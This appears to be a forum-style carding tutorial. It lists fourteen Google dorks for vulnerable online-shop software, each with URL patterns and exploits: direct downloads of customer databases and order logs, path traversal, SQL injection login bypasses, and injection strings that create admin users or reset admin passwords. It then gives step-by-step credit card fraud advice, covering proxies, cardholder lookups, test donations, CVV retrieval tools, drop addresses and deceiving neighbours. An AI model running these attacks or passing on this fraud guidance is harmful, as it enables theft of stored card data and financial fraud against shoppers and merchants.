google dork :--> allinurl:/cart32.exe/
target looks :--> http://www.xxxxxx.net/wrburns_s/cgi-...xe/NoItemFound
chage NoItemFound whit error
When we found Page error dig installation information beneath it, meant us was successful!
If shares this was gotten list file the format/the suffix.C32 significant in site.Gotten file contained the data cc
Copy some file.C32 was or all of them to notepad or the program text the other editor.
The substitute string url tsb.To like this: http://www.xxxxxx.net/wrburns_s/cgi-bin/cart32/
paste one by one, file.C32 at the end url has been modified earlier, with the format http://www.xxxxx.com/cart32/




2-
google dork :--> inurl:"/cart.php?m="
target looks lile :--> http://xxxxxxx.com/store/cart.php?m=view
exploit: chage cart.php?m=view to /admin
target whit exploit :--> http://xxxxxx.com/store/admin
Usename : 'or"="
Password : 'or"="



3-
google dork :--> allinurlroddetail.asp?prod=
target looks like :--> http://www.xxxxx.org/proddetail.asp?prod=XXXX (big leters and numbers )
exploit :--> chage the proddtail.asp?prod=SG369 whit fpdb/vsproducts.mdb
target whit exploit :--> http://www.xxxxxx.org/fpdb/vsproducts.mdb


4-
google dork :--> allinurl: /cgi-local/shopper.cgi
target looks like :--> http://www.xxxxxx.com/cgi-local/shop...dd=action&key=
exploit :--> ...&template=order.log
target whit exploit :--> http://www.xxxxxxxx.com/cgi-local/sh...late=order.log


5-
google dork :--> allinurl: Lobby.asp
target looks like :--> http://www.xxxxx.com/mall/lobby.asp
exploit :--> change /mall/lobby.asp to /fpdb/shop.mdb
target whit exploit :--> http://www.xxxxx.com/fpdb/shop.mdb


6-
google dork :--> allinurl:/vpasp/shopsearch.asp
when u find a target put this in search box
Keyword=&category=5); insert into tbluser (fldusername) values
('')--&SubCategory=&hide=&action.x=46&action.y=6
Keyword=&category=5); update tbluser set fldpassword='' where
fldusername=''--&SubCategory=All&action.x=33&action.y=6
Keyword=&category=3); update tbluser set fldaccess='1' where
fldusername=''--&SubCategory=All&action.x=33&action.y=6
Jangan lupa untuk mengganti dan nya terserah kamu.
Untuk mengganti password admin, masukkan keyword berikut :
Keyword=&category=5); update tbluser set fldpassword='' where
fldusername='admin'--&SubCategory=All&action.x=33&action.y=6

login page: http://xxxxxxx/vpasp/shopadmin.asp


7-
google dork :--> allinurl:/vpasp/shopdisplayproducts.asp
target looks like :--> http://xxxxxxx.com/vpasp/shopdisplay...asp?cat=xxxxxx
exploit :--> http://xxxxxxx.com/vpasp/shopdisplaypro ... ion%20sele ct%20fldauto,fldpassword%20from%20tbluser%20where% 20fldusername='admin'%20and%20fldpassword%20like%2 0'a%25'-
if this is not working try this ends
%20'a%25'--
%20'b%25'--
%20'c%25'--
after finding user and pass go to login page:
http://xxxx.com/vpasp/shopadmin.asp



8-
google dork :--> allinurl:/shopadmin.asp
target looks like :--> http://www.xxxxxx.com/shopadmin.asp
exploit:
user : 'or'1
pass : 'or'1


9-
google.com :--> allinurl:/store/index.cgi/page=
target looks like :--> http://www.xxxxxx.com/cgi-bin/store/...short_blue.htm
exploit :--> ../admin/files/order.log
target whit exploit :--> http://www.xxxxxxx.com/cgi-bin/store...iles/order.log


10-
google.com:--> allinurl:/metacart/
target looks like :--> http://www.xxxxxx.com/metacart/about.asp
exploit :--> /database/metacart.mdb
target whit exploit :--> http://www.xxxxxx.com/metacart/database/metacart.mdb


11-
google.com:--> allinurl:/DCShop/
target looks like :--> http://www.xxxxxx.com/xxxx/DCShop/xxxx
exploit :--> /DCShop/orders/orders.txt or /DCShop/Orders/orders.txt
target whit exploit :--> http://www.xxxx.com/xxxx/DCShop/orders/orders.txt or http://www.xxxx.com/xxxx/DCShop/Orders/orders.txt


12-
google.com:--> allinurl:/shop/category.asp/catid=
target looks like :--> http://www.xxxxx.com/shop/category.asp/catid=xxxxxx
exploit :--> /admin/dbsetup.asp
target whit exploit :--> http://www.xxxxxx.com/admin/dbsetup.asp
after geting that page look for dbname and path. (this is also good file sdatapdshoppro.mdb , access.mdb)
target for dl the data base :--> http://www.xxxxxx.com/data/pdshoppro.mdb (dosent need to be like this)
in db look for access to find pass and user of shop admins.


13-
google.com:--> allinurl:/commercesql/
target looks like :--> http://www.xxxxx.com/commercesql/xxxxx
exploit :--> cgi-bin/commercesql/index.cgi?page=
target whit exploit admin config :--> http://www.xxxxxx.com/cgi-bin/commer... ... in_conf.pl
target whit exploit admin manager :--> http://www.xxxxxx.com/cgi-bin/commer...in/manager.cgi
target whit exploit order.log :--> http://www.xxxxx.com/cgi-bin/commerc...iles/order.log


14-
google.com:--> allinurl:/eshop/
target looks like :--> http://www.xxxxx.com/xxxxx/eshop
exploit :-->/cg-bin/eshop/database/order.mdb
target whit exploit :--> http://www.xxxxxx.com/.../cg-bin/e....base/order.mdb
after dl the db look at access for user and password !


How to use cc
-The first and forth most thing to do is use a proxy. This is a good site that will give you fresh new proxy and will list them by country so you can IP the card to the right country. XROXT Alive Proxy N N Time

-Next what you need to do in order to get the credit card to work is find all the information on your person (from card name) if you don't have it already. One of the best ways i came across is using online tools from different searching sites. Here are a few that I use to find out all my information. (only works to search us citizens except for Zaba Search which works internationally). Email Finder US Search Zaba Search Peek You USA People Search Look Up Anyone Skip Ease

-Another thing you must do is learn how to use the card right the first time you use it. The biggest mistake anyone can make is by going online with the card and making a purchase of over $30 USD. Why you might ask that this is a mistake? Well let me tell you, most credit card companies don't want you to make online purchases because of the risk involved with scams and fraud so what they usually do is only allow $30 USD as the limit. One way to get around this is by first going to a donation site, my favorite is Red Cross, and then you donate $1 USD to verify if the card has not already been limited or blocked/locked. If you manage to successfully make a donation then you are good to go and make purchases over $30 USD.

-One of the things I do if i'm missing the cvc/ccv/cvv/cvn is use a program that will receive the number for you automatically. Here is the link to the downlod for the program I use. CVV2 Retriever

-Hey but what about if i know the name of the person on the card but I don't know what country they are from because they are outside the US? well here is two great programs in one rar file i use to retrieve this info. Firstly I will explain how you use these correctly. Take a look at the card number on the front of the card or on the source of the number. Take the first six numbers on the card and remember them. These are called the BIN numbers or Bank Identification Numbers. They are what banks use to let the other banks and companies know what bank issued the card. If the first number on the card is a 3 then it is an AMEX card, if it is a 4 then its VISA, 5 is MasterCard and 6 is Discover. Bank Bin List

-The biggest thing to do when you are using the card online is have the credit card company, bank, or website company deny your order after you make the purchase and its accepted. The way i avoid this is when buying an actually physical objects (say an iPod or Video Game) is to have the item sent to a drop box location. What you say is a drop box location? Well its basically a location that is not your actual address. Some examples are a house that is for sale in your neighborhood that is vacant at the moment or a lot on the street that is having a building or house built there. Some other examples are a P.O. Box location (Post Office) but just remember to look on the manufacturers website to see if P.O. Boxes are allowed to be shipped too. And last but not least is a random persons house in your neighborhood or apartment/ condo-complex. Why a random persons house? well what you do is call the person up and in a convincing voice explain to them that you accidentally typed your street address in wrong and ask if they can hold it for you while you go pick it up.

-The last thing to consider when using a credit card online is to not use it on the same site more then a few times, to keep it active, and not to use it on any site that has the Verified By VISA or MasterCard® SecureCode™ logos on its site.